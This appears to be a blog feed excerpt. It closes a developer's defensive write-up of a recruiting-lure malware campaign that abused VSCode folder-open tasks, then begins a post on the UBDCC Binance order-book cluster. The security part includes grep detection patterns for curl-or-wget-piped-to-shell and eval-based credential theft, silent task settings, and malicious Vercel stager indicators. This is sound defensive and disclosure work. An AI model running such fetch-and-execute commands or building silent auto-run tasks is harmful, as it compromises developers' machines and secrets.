<h3>LinkedIn Trust &amp; Safety</h3>
<p>Reported the recruiter profile as potentially:</p>
<ul>
<li><p>fake</p>
</li>
<li><p>compromised</p>
</li>
<li><p>impersonated</p>
</li>
<li><p>used as part of a recruiting malware campaign</p>
</li>
</ul>
<p>I am deliberately not stating that the real-world person named on the profile is the attacker.</p>
<p>That is important.</p>
<p>The profile is part of the observed attack chain.</p>
<p>The identity behind it is a separate question.</p>
<h3>VSCode hardening note</h3>
<p>I am not treating this as a VSCode vulnerability claim in this article.</p>
<p>Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust.</p>
<p>But the user experience is still worth discussing because this campaign abuses the gap between two different mental models.</p>
<p>A user can interpret "I trust the authors" as:</p>
<blockquote>
<p>"I trust this repository enough to inspect it."</p>
</blockquote>
<p>A developer tool can interpret it as:</p>
<blockquote>
<p>"Project-local automation may execute."</p>
</blockquote>
<p>Those are not the same decision.</p>
<p>For <code>runOn: folderOpen</code> shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution.</p>
<p>Especially when the task uses:</p>
<pre><code class="language-json">"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}
</code></pre>
<p>The important defensive lesson is not "VSCode is broken."</p>
<p>The lesson is:</p>
<blockquote>
<p>Project trust can become command execution. Treat it accordingly.</p>
</blockquote>
<h2>Public threat-intel</h2>
<p>Indicators from this investigation were submitted to public abuse.ch feeds.</p>
<p>ThreatFox:</p>
<pre><code class="language-text">https://threatfox.abuse.ch/browse/tag/jackpot/
</code></pre>
<p>URLhaus:</p>
<pre><code class="language-text">https://urlhaus.abuse.ch/browse/tag/jackpot/
</code></pre>
<p>My ThreatFox profile:</p>
<pre><code class="language-text">https://threatfox.abuse.ch/user/12877/
</code></pre>
<p>The indicators include:</p>
<ul>
<li><p>Vercel stager domains</p>
</li>
<li><p>active stager URLs</p>
</li>
<li><p>BeaverTail-style endpoint</p>
</li>
<li><p>malicious file hashes</p>
</li>
<li><p>campaign tag <code>jackpot</code></p>
</li>
<li><p>malware family tags where accepted by the platform</p>
</li>
</ul>
<p>This matters because social-media warnings are useful, but structured threat-intel is ingestible.</p>
<p>Defenders can block it.</p>
<p>Researchers can pivot from it.</p>
<p>Platforms can correlate it.</p>
<p>That is the goal.</p>
<hr />
<h2>Detection ideas</h2>
<h3>Repository static checks</h3>
<p>Before opening an unknown repository in any IDE, search for project-local execution surfaces:</p>
<pre><code class="language-bash">find . -maxdepth 4 \( \
  -path "*/.vscode/tasks.json" -o \
  -path "*/.vscode/settings.json" -o \
  -path "*/.claude/settings.json" -o \
  -name "package.json" -o \
  -name "Makefile" -o \
  -path "*/.git/hooks/*" -o \
  -name "docker-compose.yml" \
\) -print
</code></pre>
<p>Search for suspicious folder-open tasks:</p>
<pre><code class="language-bash">grep -RInE '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"|curl.*\|.*(sh|bash|cmd)|wget.*\|.*(sh|bash)' .
</code></pre>
<p>Search for JavaScript runtime-eval patterns:</p>
<pre><code class="language-bash">grep -RInE 'new Function|eval\(|process\.env|axios\.post|atob\(' .
</code></pre>
<p>Search for base64-looking environment values:</p>
<pre><code class="language-bash">grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2&gt;/dev/null
</code></pre>
<h3>Runtime detection ideas</h3>
<p>Watch for editor or Node processes spawning network downloaders:</p>
<pre><code class="language-text">Code.exe / code
  -&gt; cmd.exe / powershell.exe / bash / sh
    -&gt; curl / wget
      -&gt; pipe to sh/bash/cmd
</code></pre>
<p>Watch for Node processes posting environment-sized payloads to unknown Vercel domains.</p>
<p>Watch for traffic to:</p>
<pre><code class="language-text">*.vercel.app/api/settings/linux
*.vercel.app/api/settings/mac
*.vercel.app/api/settings/windows
</code></pre>
<p>especially when launched by:</p>
<ul>
<li><p>VSCode</p>
</li>
<li><p>Cursor</p>
</li>
<li><p>Windsurf</p>
</li>
<li><p>Claude Code</p>
</li>
<li><p>npm</p>
</li>
<li><p>node</p>
</li>
<li><p>bash</p>
</li>
<li><p>sh</p>
</li>
<li><p>cmd.exe</p>
</li>
<li><p>powershell.exe</p>
</li>
</ul>
<hr />
<h2>Lessons learned</h2>
<h3>1. Unknown repositories are hostile until proven otherwise</h3>
<p>Do not open unknown repositories directly in your normal IDE.</p>
<p>Not VSCode.</p>
<p>Not Cursor.</p>
<p>Not Windsurf.</p>
<p>Not Claude Code.</p>
<p>Not anything with project-level automation.</p>
<p>Use a plain text viewer, browser review, container, or VM first.</p>
<h3>2. "Open this in VSCode" is now a security-relevant request</h3>
<p>That sentence used to sound normal.</p>
<p>It is still normal in many contexts.</p>
<p>But in recruiter calls, freelance interviews, code-review lures, crypto projects, and "quick technical checks", it should raise your blood pressure a little.</p>
<p>Not panic.</p>
<p>Just friction.</p>
<p>A good answer is:</p>
<pre><code class="language-text">I do not open untrusted repositories directly in an IDE during calls.
I will inspect it offline in a controlled environment.
</code></pre>
<p>A real recruiter accepts that.</p>
<p>An attacker pushes back.</p>
<h3>3. Trust prompts are not enough</h3>
<p>The problem is not that users are stupid.</p>
<p>The problem is that the trust prompt asks the wrong question too broadly.</p>
<p>A user may trust a workspace enough to browse it.</p>
<p>That does not mean the user knowingly approved automatic shell execution.</p>
<p>Tooling needs finer-grained trust decisions.</p>
<p>Especially for:</p>
<ul>
<li><p>shell tasks</p>
</li>
<li><p>lifecycle scripts</p>
</li>
<li><p>hooks</p>
</li>
<li><p>AI-agent startup hooks</p>
</li>
<li><p>commands downloaded from the network</p>
</li>
<li><p>commands piped into interpreters</p>
</li>
</ul>
<h3>4. AI coding tools have the same class of problem</h3>
<p>This is bigger than VSCode.</p>
<p>The same trust-boundary issue exists in AI coding tools and agentic developer environments.</p>
<p>Project-local config is no longer just configuration.</p>
<p>It can be execution policy.</p>
<p>That includes files like:</p>
<pre><code class="language-text">.claude/settings.json
.vscode/tasks.json
.cursor/
.windsurf/
package.json
Makefile
.git/hooks/
docker-compose.yml
.github/workflows/
</code></pre>
<p>The security question is not:</p>
<blockquote>
<p>Did I run the program?</p>
</blockquote>
<p>The question is:</p>
<blockquote>
<p>What did my tooling run for me?</p>
</blockquote>
<h3>5. Awareness works</h3>
<p>I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC.</p>
<p>Different tool.</p>
<p>Same pattern.</p>
<p>That awareness changed my behavior at the exact right moment.</p>
<p>This is why I am linking his work directly:</p>
<ul>
<li><p><a href="https://www.linkedin.com/in/s0ld13r/">Zhangir Ospanov on LinkedIn</a></p>
</li>
<li><p><a href="https://github.com/s0ld13rr/claude-code-backdoor">claude-code-backdoor PoC on GitHub</a></p>
</li>
</ul>
<p>So yes, sharing these findings matters.</p>
<p>Blog posts matter.</p>
<p>Reddit posts matter.</p>
<p>LinkedIn posts matter.</p>
<p>IOCs matter.</p>
<p>They put patterns into people's heads before the attacker reaches them.</p>
<hr />
<h2>If you were targeted</h2>
<p>If you received recruiter outreach matching this pattern, or were asked to open the <code>jackpot</code> repository or a similar Web3 project in VSCode, treat it seriously.</p>
<p>If you only viewed the repository in a browser, you are likely fine.</p>
<p>If you downloaded the ZIP but did not open it in an IDE, run <code>npm install</code>, or execute scripts, you are likely fine.</p>
<p>If you opened it in VSCode and clicked Workspace Trust, or ran <code>npm install</code>, or started the app locally, treat the machine as potentially compromised.</p>
<p>Immediate steps:</p>
<ol>
<li><p>Disconnect the machine from sensitive networks.</p>
</li>
<li><p>Preserve artifacts if you can do so safely.</p>
</li>
<li><p>Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets.</p>
</li>
<li><p>Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs.</p>
</li>
<li><p>Look for connections to Vercel <code>/api/settings/*</code> endpoints and <code>y-hazel-ten.vercel.app/api</code>.</p>
</li>
<li><p>Rebuild from a known-good state if execution is confirmed.</p>
</li>
</ol>
<hr />
<h2>References</h2>
<ul>
<li><p>AlienVault Pulse<br /><code>https://otx.alienvault.com/pulse/69f9ab38f883023c833b2fd8</code></p>
</li>
<li><p>ThreatFox campaign tag: <code>jackpot</code><br /><code>https://threatfox.abuse.ch/browse/tag/jackpot/</code></p>
</li>
<li><p>URLhaus campaign tag: <code>jackpot</code><br /><code>https://urlhaus.abuse.ch/browse/tag/jackpot/</code></p>
</li>
<li><p>ThreatFox user profile:<br /><code>https://threatfox.abuse.ch/user/12877/</code></p>
</li>
<li><p>Zhangir Ospanov — LinkedIn:<br /><code>https://www.linkedin.com/in/s0ld13r/</code></p>
</li>
<li><p>Zhangir Ospanov — Claude Code backdoor PoC:<br /><code>https://github.com/s0ld13rr/claude-code-backdoor</code></p>
</li>
<li><p>VSCode Workspace Trust documentation:<br /><code>https://code.visualstudio.com/docs/editing/workspaces/workspace-trust</code></p>
</li>
<li><p>VSCode Tasks documentation:<br /><code>https://code.visualstudio.com/docs/editor/tasks</code></p>
</li>
</ul>
<hr />
<h2>Closing thought</h2>
<p>This was not a "malicious repository" in the old sense.</p>
<p>It was a malicious developer workflow.</p>
<p>The repository did not need me to run the app.</p>
<p>It needed me to behave like a normal developer.</p>
<p>Open the folder.</p>
<p>Trust the workspace.</p>
<p>Let the tool initialize.</p>
<p>That is the attack.</p>
<p>And that is why this needs to be understood beyond this single case.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books]]></title><description><![CDATA[TL;DR — UBDCC is not "Redis for Binance order books". It is an order book trust layer: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messa]]></description><link>https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books</link><guid isPermaLink="true">https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[architecture]]></category><category><![CDATA[distributed systems]]></category><category><![CDATA[hft]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 28 Apr 2026 14:34:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/d2f0cc7e-f681-4946-ba6d-052265b25684.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR</strong> — UBDCC is not "Redis for Binance order books". It is an order book <strong>trust layer</strong>: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messages into a finite, observable trust state your strategy can reason about. This post walks the stack end to end.</p>
</blockquote>
<p>The <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">previous post</a> was the five-minute install: <code>pip install ubdcc</code>, kill a node, watch failover, copy a snippet from the API Builder, done.</p>
<p>This post is the why. What every layer is doing, why it exists, and how the pieces add up to something far more important than "we cached a JSON object".</p>
<p>Because in trading infrastructure, a wrong order book is worse than no order book. No data stops you. Bad data lies to you.</p>
<p>The framing comes out of a <a href="https://www.linkedin.com/feed/update/urn:li:activity:7454228111401078784/?dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287454245165831155712%2Curn%3Ali%3Aactivity%3A7454228111401078784%29&amp;dashReplyUrn=urn%3Ali%3Afsd_comment%3A%287454457326901542912%2Curn%3Ali%3Aactivity%3A7454228111401078784%29">LinkedIn discussion</a> on the quickstart. One reader put it sharper than I had so far:</p>
<blockquote>
<p><em>"OutOfSync is not just an exception name. It is a finite trust state that the rest of the system can reason about."</em></p>
</blockquote>
<p>That is the thread we are pulling here.</p>
<p>By the end of this post, you should understand:</p>
<ul>
<li><p>why a Binance order book can be wrong while still looking perfectly valid</p>
</li>
<li><p>how UBLDC turns snapshots and diff streams into a finite sync state</p>
</li>
<li><p>how UBDCC preserves that trust state across HTTP</p>
</li>
<li><p>why <code>#6000</code> is a feature, not just an error</p>
</li>
<li><p>where REST is enough, and where gRPC starts to make sense</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5a32f34b-bb9d-498d-baa3-805571c0284b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Layer 0 — What Binance actually gives you</h2>
<p>Before any code, let's be honest about the raw material. Binance does not hand you truth. It hands you puzzle pieces.</p>
<p>Binance does not expose "the order book". It exposes two things:</p>
<ol>
<li><p>A <strong>REST snapshot</strong> at a specific <code>lastUpdateId</code>. One HTTP call. For futures and options it is reasonably fresh; for European Options it is <em>cached server-side for ~30 seconds</em>, which becomes important later.</p>
</li>
<li><p>A <strong>diff-depth WebSocket stream</strong> of incremental updates, each tagged with <code>U</code> (first update id) and <code>u</code> (final update id), and on futures additionally <code>pu</code> (previous final update id).</p>
</li>
</ol>
<p>To turn that into a usable order book you have to:</p>
<ul>
<li><p>Fetch the snapshot.</p>
</li>
<li><p>Buffer diffs that arrive while the snapshot is in flight.</p>
</li>
<li><p>Find the <strong>sync point</strong>: the first diff where <code>U &lt;= lastUpdateId+1 &lt;= u</code> (spot) or <code>U &lt;= lastUpdateId &lt;= u</code> (futures/options).</p>
</li>
<li><p>Apply diffs sequentially, validating that each <code>U</code> equals the previous <code>u + 1</code> (spot) or each <code>pu</code> equals the previous <code>u</code> (futures).</p>
</li>
<li><p>Re-sync from scratch the moment a gap appears.</p>
</li>
<li><p>Quietly accept that price levels which fall outside the top 1000 get <strong>no delete event</strong>. Binance just stops mentioning them. If you follow the docs literally, those levels stay in your book forever as ghost orders.</p>
</li>
</ul>
<p>Most "order book" libraries do step 1, half of step 4, and then quietly hope reality stays polite.</p>
<p>Reality does not.</p>
<p>That is where silent corruption starts: the book still looks like an order book, the numbers still parse, your strategy still runs — but the data is no longer trustworthy.</p>
<p>The whole UBS stack exists to handle the rest of that list — and to make the result <em>observable</em>.</p>
<hr />
<h2>Layer 1 — UBWA: the event bus</h2>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UBWA</a> is the WebSocket layer underneath everything. From the trust-layer perspective its job is simple to say and annoying to implement: turn an unreliable TCP connection to Binance into a clean event source for whatever sits on top.</p>
<p>What UBWA gives you that you would otherwise write yourself:</p>
<ul>
<li><p><strong>One process, many streams.</strong> A single <code>BinanceWebSocketApiManager</code> multiplexes hundreds of subscriptions across multiple physical connections, respecting Binance's per-connection subscription cap.</p>
</li>
<li><p><strong>Auto-reconnect with state.</strong> When a socket drops, UBWA reconnects, re-subscribes, and emits a signal <em>for every stream it touched</em> so consumers can react.</p>
</li>
<li><p><strong>Stream signals as a first-class API.</strong> Pass <code>process_stream_signals=...</code> (or enable <code>stream_signal_buffer</code>) and every reconnect, disconnect, first-message-after-connect arrives as a structured event:</p>
<pre><code class="language-python">def on_signal(signal_type, stream_id, data_record=None, error_msg=None):
    # signal_type ∈ CONNECT, DISCONNECT, FIRST_RECEIVED_DATA,
    #               STREAM_UNREPAIRABLE, NEW_STREAM_STARTED, ...
    ...
</code></pre>
<p>This matters for the trust layer because it means UBLDC does not have to <em>guess</em> whether a stream gap was a real Binance gap or a socket reconnect. It gets told.</p>
</li>
<li><p><strong>Async-queue access to data.</strong> <code>ubwa.get_stream_data_from_asyncio_queue(stream_id)</code> is what UBLDC's diff loop awaits on. UBWA decouples the network side completely from the consumer side — consumers can fall behind without losing events, up to a configurable buffer cap.</p>
</li>
</ul>
<p>UBWA is the only place in the stack that has to care about TCP chaos. Everything above it works in terms of ordered messages plus explicit connection signals. That separation is what keeps the next layer sane.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/432fd922-d48f-4574-a6ca-a73643f01653.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Layer 2 — UBLDC: the sync state machine</h2>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a> sits on top of UBWA and is where the order book actually exists. It is also where most of the interesting decisions live. If UBWA is the event bus, UBLDC is the part that asks the uncomfortable question: "Can I still trust this book?"</p>
<p>For each market UBLDC keeps a small state record:</p>
<pre><code class="language-python">{
  "asks": {...},
  "bids": {...},
  "is_synchronized": False,
  "last_update_id": None,
  "last_refresh_time": None,
  "refresh_request": True,
  "refresh_interval": &lt;int|None&gt;,
  "stream_status": None,
}
</code></pre>
<p>Three flags do most of the work: <code>is_synchronized</code>, <code>refresh_request</code>, <code>last_update_id</code>. The whole loop in <code>_manage_depth_cache_async()</code> is a state machine over those.</p>
<h3>Bootstrapping a market</h3>
<p>When a market is added, <code>refresh_request</code> is <code>True</code> and <code>is_synchronized</code> is <code>False</code>. Diff events start arriving immediately from UBWA — they have nowhere to go yet, but UBLDC does not throw them away. They land in a per-market <code>init_buffer</code>.</p>
<p>In parallel, UBLDC checks the <strong>current Binance API weight</strong> before asking for a snapshot:</p>
<pre><code class="language-python">if current_weight['weight'] &gt; 2200 or current_weight['status_code'] != 200:
    # Too close to the rate-limit ceiling, wait it out.
    continue
</code></pre>
<p>This is a small detail with a big production effect: UBLDC will not blindly hammer Binance with snapshot requests for 50 markets at once and then act surprised when rate limits bite. It yields when the weight is high.</p>
<p>When the snapshot arrives, the loop replays the buffered events, hunting for the sync point. Spot:</p>
<blockquote>
<p><code>U &lt;= lastUpdateId + 1 &lt;= u</code></p>
</blockquote>
<p>Futures / options:</p>
<blockquote>
<p><code>U &lt;= lastUpdateId &lt;= u</code></p>
</blockquote>
<p>The first event that matches flips <code>is_synchronized = True</code>. Anything buffered after that point gets applied with normal gap detection.</p>
<p>European Options has its own quirk — the snapshot's <code>lastUpdateId</code> can lag the live stream by ~30 seconds because Binance caches the snapshot server-side. UBLDC handles this by <strong>not dropping the buffer</strong> between failed sync attempts: events older than the snapshot get pruned, the rest is kept (capped at 10k) and replayed against the next snapshot. Without this you get an infinite resync loop and a very bad afternoon. With it, options markets just take a bit longer to come online.</p>
<h3>Steady state</h3>
<p>Once <code>is_synchronized</code> is <code>True</code>, the loop is short:</p>
<pre><code class="language-python"># Spot:
if event['U'] != last_update_id + 1:
    set_resync_request(market)   # gap → re-init from scratch
    continue

# Futures / options:
if event['pu'] != last_update_id:
    set_resync_request(market)
    continue

apply_updates(event)
last_update_id = event['u']
</code></pre>
<p>A single missed sequence number flips the cache out of sync and triggers a fresh snapshot. That is the entire point: a loud resync beats a quiet lie every time.</p>
<h3>The orphaned-levels fix</h3>
<p>Binance's diff stream guarantees consistent updates <strong>for the top 1000 levels</strong> of the book. When a level falls out of the top 1000 it stops getting updates — including delete events. A library that follows the spec literally accumulates ghost orders below the active band. The book grows a basement of dead orders nobody updates.</p>
<p>UBLDC actively prunes this by sorting the cache by price and dropping everything past the <code>limit_count</code> you query with — not just at read time, but as a <code>_clear_orphaned_depthcache_items()</code> pass during diff application. That is also why the <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">ghost-orders post</a> is its own writeup: the bug is in Binance's spec, not in any one client, and most production order books out there have it.</p>
<h3>Periodic refresh</h3>
<p><code>refresh_interval</code> lets you force a periodic resync — say, every hour — even if no gap was detected. This is a belt-and-braces defence for very long-running processes. The default is <code>None</code> (don't), and you should leave it alone for normal workloads. Setting it too aggressively rebuilds caches that were perfectly fine, which costs Binance API weight and opens a window where the cache is in init state.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/351ae56e-c34d-4d5f-aac0-a5b06896d2be.png" alt="" style="display:block;margin:0 auto" />

<h3>What UBLDC exposes upward</h3>
<p>After all of this, UBLDC offers a flat synchronous API:</p>
<pre><code class="language-python">ubldc.is_depth_cache_synchronized(market="BTCUSDT")  # → True / False
ubldc.get_asks(market="BTCUSDT", limit_count=5)
ubldc.get_bids(market="BTCUSDT")
</code></pre>
<p>Notice what is <em>not</em> there: there is no <code>get_asks_or_die_silently()</code>. The synchronization status is a separate, queryable signal. Consumers can ask it before reading, or — more usefully — <em>handle the case where a read happens during a resync</em>. That is the seed of the trust layer pattern.</p>
<hr />
<h2>Layer 3 — UBDCC: the cluster</h2>
<p>If you only need one Python process, UBLDC standalone is enough. <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">UBDCC</a> is what you reach for when the answer to "where does the order book live?" stops being "inside this script" and starts being "as a service my team can rely on without babysitting it".</p>
<p>The cluster is three roles. Nothing magical. No ceremony. Plain HTTP/JSON between them:</p>
<ul>
<li><p><code>mgmt</code> (one) — owns the authoritative cluster DB: which markets exist, which DCN holds which replica, which API keys are mapped to which DCN. Distributes work. Serves write-side endpoints (<code>/create_depthcache</code>, <code>/add_credentials</code>, …). Backs itself up to every other node on every sync cycle.</p>
</li>
<li><p><code>restapi</code> (one to many) — public entry point. Looks up which DCN is responsible for a <code>(exchange, market)</code> query, routes to it, fails over to a replica if the primary doesn't answer, and surfaces the failover in the response so monitoring sees it.</p>
</li>
<li><p><code>dcn</code> (many) — each DCN runs one UBLDC manager and N markets. One DCN per CPU core is the rule of thumb (Python's GIL caps a single process to one core). Serves <code>/get_asks</code> / <code>/get_bids</code> directly.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/51b84be9-023f-4bc1-9e00-5a3e3ab69ce4.png" alt="" style="display:block;margin:0 auto" />

<p>Three architectural decisions are worth flagging because they look small and pay off enormously.</p>
<h3>Disposable cache, durable contract</h3>
<p>A DCN is replaceable. It is not precious. It holds a few in-memory order books and a WebSocket connection. Kill it, and the only loss is the time it takes mgmt to assign its markets to a different DCN and for that DCN to re-sync. The cluster DB is replicated to every node on every sync cycle, so even mgmt is replaceable — restart it and it pulls the most recent backup from whichever node has the freshest copy.</p>
<p>The takeaway from one of the LinkedIn replies sharpened this for me:</p>
<blockquote>
<p><em>"REST queries over stateless cache means you spin replicas up and down without choreography, completely changing how you think about failover."</em> — Peter Andreas</p>
</blockquote>
<p>Exactly. The fragile thing in most setups is the cache itself. Treating cache replicas as cattle, not pets, is the entire reason failover is boring. And boring failover is good failover.</p>
<h3><code>error_id #6000</code> — the trust signal on the wire</h3>
<p>When a DCN gets a query for a market that is currently out of sync, it does not return last-known-good data with a happy 200. It returns this:</p>
<pre><code class="language-python">return self.get_error_response(
    event=event,
    error_id="#6000",
    message=f"DepthCache '{market}' for '{exchange}' is out of sync!"
)
</code></pre>
<p>That is the trust state crossing the network boundary. This is the moment where UBDCC stops being "a cache" and becomes a contract. The consumer now has three explicit options instead of one implicit one:</p>
<ol>
<li><p><strong>Wait</strong> — poll again in a moment, the cluster is re-syncing.</p>
</li>
<li><p><strong>Reduce confidence</strong> — the strategy can still trade, but with a wider risk margin until the cache is back in sync.</p>
</li>
<li><p><strong>Refuse</strong> — for strategies where stale data is worse than no data, the right move is to step out of the market entirely.</p>
</li>
</ol>
<p>That decision belongs to the consumer, not to the cache. The cache should not cosplay as a risk engine. UBDCC's job is to <em>preserve the trust signal across the boundary</em> so the consumer is never accidentally trading on a stale book.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e8643323-0720-444d-b6d7-3efb954fa8cf.png" alt="" style="display:block;margin:0 auto" />

<h3>Replicas + staggered start</h3>
<p>When you create a DepthCache with <code>desired_quantity=3</code>, mgmt picks three different DCNs for the three replicas and <strong>staggers their start times by a few seconds</strong>. That is deliberate, not cosmetic. Three parallel snapshot requests for <code>BTCUSDT</code> are three identical hits on Binance with no fault-tolerance benefit; staggering them means each replica is independently synced at a slightly different point in time, which also means at most one is ever in resync at any given moment under normal conditions. Failover stays cheap.</p>
<p>Replicas live on different DCNs by design. Mgmt's distribution scheduler refuses to put the same market twice on the same node — otherwise you would have "redundancy" that dies with a single process.</p>
<h3>What's <em>not</em> there</h3>
<ul>
<li><p><strong>No Redis. No PostgreSQL. No etcd. Not because those tools are bad — because this problem does not need them at the core.</strong> The cluster DB is a Python dict that mgmt replicates to every other node on each sync cycle. This is a deliberate constraint: every external dependency you add is one more thing that needs to be deployed, secured, monitored and recovered. UBDCC's recovery story is "pick the node with the most recent backup, re-elect mgmt, done".</p>
</li>
<li><p><strong>No transport encryption inside the cluster.</strong> Yet. The internal API is plain HTTP. This is a known gap, documented honestly in the README: the assumption is that you firewall the cluster off and run it behind a private network. We are building from the core outward, not from the buzzword inward.</p>
</li>
<li><p><strong>No bot logic.</strong> UBDCC does not place orders, run strategies, generate signals, or move funds. It is the data layer you build those things on top of. If you want a trailing stop loss, that is <a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss">UBTSL</a>. If you want raw streams, that is <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UBWA</a>.</p>
</li>
</ul>
<hr />
<h2>Layer 4 — The dashboard: the trust layer for humans</h2>
<p>The cluster speaks JSON. Operators speak in glances. If you need to read a log line to know whether the book is trustworthy, the UI is not doing its job.</p>
<p>The <a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">UBDCC Dashboard</a> is a single-page browser app — vanilla JS, no framework, no tracking, served by a stdlib HTTP launcher — that turns the cluster's existing endpoints into a live operations view. It does not introduce new state; everything you see is something the cluster already knows.</p>
<p>Three things are worth zooming in on:</p>
<ul>
<li><p><strong>Mini-orderbook tiles.</strong> Each DepthCache is a compact tile with top-3 asks/bids, quantity bars, and a spread in basis points. An <code>IntersectionObserver</code> plus a filter gate ensures only on-screen, matching tiles poll the cluster. You can have 600 caches and still scroll a smooth 2-second refresh.</p>
</li>
<li><p><strong>Trust state at a glance.</strong> Out-of-sync (<code>#6000</code>) tiles turn red. Other errors turn yellow with a compact message. The <strong>Cluster Status</strong> modal in the header (Pods / DepthCaches / DCNs / Credentials tabs, plus a pinned health strip) gives you the same view at the cluster level: per-DepthCache replica donut, distribution state, sync state.</p>
</li>
<li><p><strong>API Builder.</strong> Pick an endpoint, fill in a form, get a copyable snippet in <strong>curl, HTTPie, Python (using the official UBLDC</strong> <code>Cluster</code> <strong>client), JavaScript, Go, C#, Java, Rust, PHP or C/C++</strong>. A <code>Try it →</code> button runs GET-safe calls through the dashboard's CORS proxy and pretty-prints the JSON. This is how non-Python developers onboard onto the cluster — and, honestly, how <em>I</em> test endpoints when I do not feel like typing curl for the hundredth time.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5af04b7b-a034-48bf-a422-08616ebd3cb0.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7329d69a-11ac-4c5a-b811-f1d9195bf40a.png" alt="" style="display:block;margin:0 auto" />

<p>The dashboard is also where the <strong>Credentials Manager</strong> lives (masked previews, two-click remove), the <strong>Add DepthCaches</strong> modal with live <code>exchangeInfo</code> symbol lookup, and the <strong>bulk × Remove filtered</strong> with a two-click confirmation that is only enabled when a filter is active — so you cannot accidentally wipe the cluster with one slip.</p>
<hr />
<h2>Where this is going next: gRPC</h2>
<p>REST is a perfect onboarding contract. Anything HTTP-capable can read the cluster. That is hard to beat for "I want to be productive in 90 seconds".</p>
<p>For tight-loop consumers — market makers, arbitrage engines, anything that wants top-of-book fast enough that JSON starts to feel like furniture in the hallway — REST becomes the long pole. JSON parsing alone is often more expensive than the actual cluster- internal lookup. Long-poll patterns also fight against a stateless read API.</p>
<p>The next architectural step we are looking at is a <strong>gRPC contract alongside REST</strong>, not instead of it:</p>
<ul>
<li><p><strong>Streaming reads.</strong> Subscribe once to <code>(exchange, market, limit_count)</code> and receive a server-pushed update on every diff the cluster applies — including a <code>trust_state</code> field that is <code>IN_SYNC</code> / <code>OUT_OF_SYNC</code> / <code>RESYNCING</code>. Same trust contract as the <code>error_id #6000</code> you get from REST, just delivered as a first-class field on every message instead of an exceptional response. Order-book deltas become a typed event stream.</p>
</li>
<li><p><strong>Bidi for write-side ops.</strong> <code>create_depthcaches</code> over a streaming RPC means the dashboard (and any operator tool) can show progress per market — <code>pending → starting → synchronized</code> — without polling.</p>
</li>
<li><p><strong>Schema-first.</strong> Protobuf gives every language the same typed contract for free, including languages where the current REST approach forces hand-rolled DTOs.</p>
</li>
</ul>
<p>REST stays for everything onboarding-shaped. gRPC is the path for high-throughput, low-latency reads where the trust signal needs to ride on the data instead of on top of it. This is <strong>idea stage</strong> — it is on the roadmap, not in the next release. If your use case sharpens the requirements, the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster/issues">issue tracker</a> is the right place to push.</p>
<hr />
<h2>What this stack is — and what it composes with</h2>
<p>Stack-from-the-bottom, one line each:</p>
<table>
<thead>
<tr>
<th>Layer</th>
<th>What it owns</th>
</tr>
</thead>
<tbody><tr>
<td><strong>UBWA</strong></td>
<td>TCP, reconnects, stream signals, async queue per stream</td>
</tr>
<tr>
<td><strong>UBLDC</strong></td>
<td>One process, N markets, sync state machine, gap &amp; ghost-order handling</td>
</tr>
<tr>
<td><strong>UBDCC</strong></td>
<td>A cluster of UBLDC processes with replicas, failover and a public REST contract</td>
</tr>
<tr>
<td><strong>Dashboard</strong></td>
<td>The same trust state, rendered for humans</td>
</tr>
</tbody></table>
<p>What it composes with:</p>
<ul>
